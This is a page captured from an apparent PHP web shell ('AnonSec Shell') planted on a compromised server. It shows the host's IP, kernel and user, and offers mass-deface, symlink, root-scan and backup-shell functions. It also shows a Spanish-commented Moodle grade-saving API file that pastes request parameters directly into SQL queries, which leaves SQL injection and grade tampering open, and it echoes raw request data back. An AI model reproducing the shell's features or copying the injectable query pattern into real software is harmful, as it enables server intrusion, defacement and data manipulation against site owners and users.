AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.167   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/9427/cwd/avanza-lms.old.bak9874115/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/9427/cwd/avanza-lms.old.bak9874115/api/save-item.php
<?php
//@sucerman 31 de marzo de 2018
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo dirname(__FILE__);
require_once(dirname(__FILE__) . '/../config.php');

session_start();
//Variables globales
global $CFG, $USER, $DB;
//Constante del nombre del ITEM
$nombre_item="Inducci";
//Respuesta del servicio API
//Codigos de respuesta
// -1 => usuario no autenticado
// -2 => Parametros incompletos
// -3 => Item de calificación no configurado
// -4 => Error Interno
// -5 => Metodo HTTP incorrecto
//  0 => Transaccion exitosa
//Objeto de respuesta del API
$arrayRespuesta=array(
	'estado'=>'-1',
	'mensaje'=>'Usuario no autenticado',
	'data'=>$_REQUEST
);
//Lógica de Negocio
if(isloggedin()){//si esta logeado
	try{
		if($_SERVER['REQUEST_METHOD'] === 'POST'){
			if(isset($_REQUEST['id_usuario'],$_REQUEST['id_curso'],$_REQUEST['calificacion'])){
				// Se asignan las variables de la solicitud
				$userid= $_REQUEST['id_usuario'];
				$courseid = $_REQUEST['id_curso'];
				$finalgrade = $_REQUEST['calificacion'];
				//se consulta el id del item de calificacion del curso
				$sql="
SELECT i.id as itemid
FROM mdl_grade_items i 
JOIN mdl_course c ON(i.courseid = c.id) 
WHERE c.id=".$courseid."
AND i.itemtype in ('manual')
AND i.itemname like '".$nombre_item."%'
ORDER BY i.sortorder
LIMIT 1 ";
				$result= $DB->get_records_sql($sql);
				$itemid=-1;//significa que no se ha creado el el item de calificacion en el curso
				if(!empty($result)){
			        foreach($result as $res){
			            $itemid=$res->itemid;
			        }
			        //se consulta el id del item de calificacion del curso
					$sql="
SELECT i.id as itemcourseid, grademax
FROM mdl_grade_items i 
JOIN mdl_course c ON(i.courseid = c.id) 
WHERE c.id=".$courseid."
AND i.itemtype in ('course')
ORDER BY i.sortorder
LIMIT 1 ";
					$result= $DB->get_records_sql($sql);
					$itemcourseid=-1;//significa que no se ha configurado el el libro de calificaciones del curso
					$grademax=0;
					if(!empty($result)){
				        foreach($result as $res){
				            $itemcourseid=$res->itemcourseid;
				            $grademax=$res->grademax;
				        }
				    }
			        //pregunto si el usuario ya tiene calificación
					$sql="
SELECT id 
FROM  mdl_grade_grades
where userid=".$userid."
and itemid=".$itemid;
				    $result= $DB->get_records_sql($sql);
				    $gradesid=-1;//significa que no se ha creado el registro
				    if(!empty($result)){
				        foreach($result as $res){
				            $gradesid=$res->id;
				        }
				    }
				    // Si no tiene calificación la crea y sino la actualiza
				    if($gradesid==-1){
				        
				    	$calificacion_curso = new stdClass();
						$calificacion_curso->itemid=$itemcourseid;
						$calificacion_curso->userid=$userid;
						$calificacion_curso->rawgrademax=$grademax;
						$calificacion_curso->rawgrademin=0;
						$calificacion_curso->finalgrade=$grademax;
						$calificacion_curso->hidden=0;
						$calificacion_curso->locked==0;
						$calificacion_curso->locktime=0;
						$calificacion_curso->exported=0;
						$calificacion_curso->overridden=0;
						$calificacion_curso->excluded=0;
						$calificacion_curso->feedbackformat=0;
						$calificacion_curso->informationformat=0;
						$calificacion_curso->timecreated==time();
						$calificacion_curso->timemodified==time();
						$calificacion_curso->aggregationstatus="unknown";
		                $recordid = $DB->insert_record('grade_grades', $calificacion_curso, true);

				        //nueva calificacion
				        $calificacion = new stdClass();
						$calificacion->itemid=$itemid;
						$calificacion->userid=$userid;
						$calificacion->rawgrademax=$grademax;
						$calificacion->rawgrademin=0;
						$calificacion->usermodified=$userid;
						$calificacion->finalgrade=$finalgrade;
						$calificacion->hidden=0;
						$calificacion->locked==0;
						$calificacion->locktime=0;
						$calificacion->exported=0;
						$calificacion->overridden=0;
						$calificacion->excluded=0;
						$calificacion->feedbackformat=0;
						$calificacion->informationformat=0;
						$calificacion->timecreated==time();
						$calificacion->timemodified==time();
						$calificacion->aggregationstatus="used";
						$calificacion->aggregationweight=1;
		                $recordid = $DB->insert_record('grade_grades', $calificacion, true);
		            }else{
		            	$sql="
UPDATE mdl_grade_grades
SET finalgrade=?
WHERE userid=?
AND itemid=?";
	                    $DB->execute($sql,array($finalgrade,$userid,$itemid));
		            }
		            $arrayRespuesta=array(
	    				'estado'=>'0',
	    				'mensaje'=>'se registro la calificación',
	    				'data'=>$_REQUEST
		            );
			    }else{
			    	$arrayRespuesta=array(
		                'estado'=>'-3',
		                'mensaje'=>'Debe configurar el item de calificacion del curso',
		                'data'=>$_REQUEST
		            );
			    }
			}else{
				$arrayRespuesta=array(
	                'estado'=>'-2',
	                'mensaje'=>'Parametros incompletos',
	                'data'=>$_REQUEST
		        );
			}
		}else{
			$arrayRespuesta=array(
	            'estado'=>'-5',
	            'mensaje'=>'Verbo HTTP incorrecto',
	            'data'=>$_REQUEST
	        );
		}
	}catch(Exception $e){
		$arrayRespuesta=array(
	        'estado'=>'-4',
	        'mensaje'=>$e->getMessage(),
	        'data'=>$_REQUEST
	    );
	}
}
//imprime el resultado
header('Content-Type: application/json');
echo json_encode($arrayRespuesta);

Anon7 - 2022
AnonSec Team